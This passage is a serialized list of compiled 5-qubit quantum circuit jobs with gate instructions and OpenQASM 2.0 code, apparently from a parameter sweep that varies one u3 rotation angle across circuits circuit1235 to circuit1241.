3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1235', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1237', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1239', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1241', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': 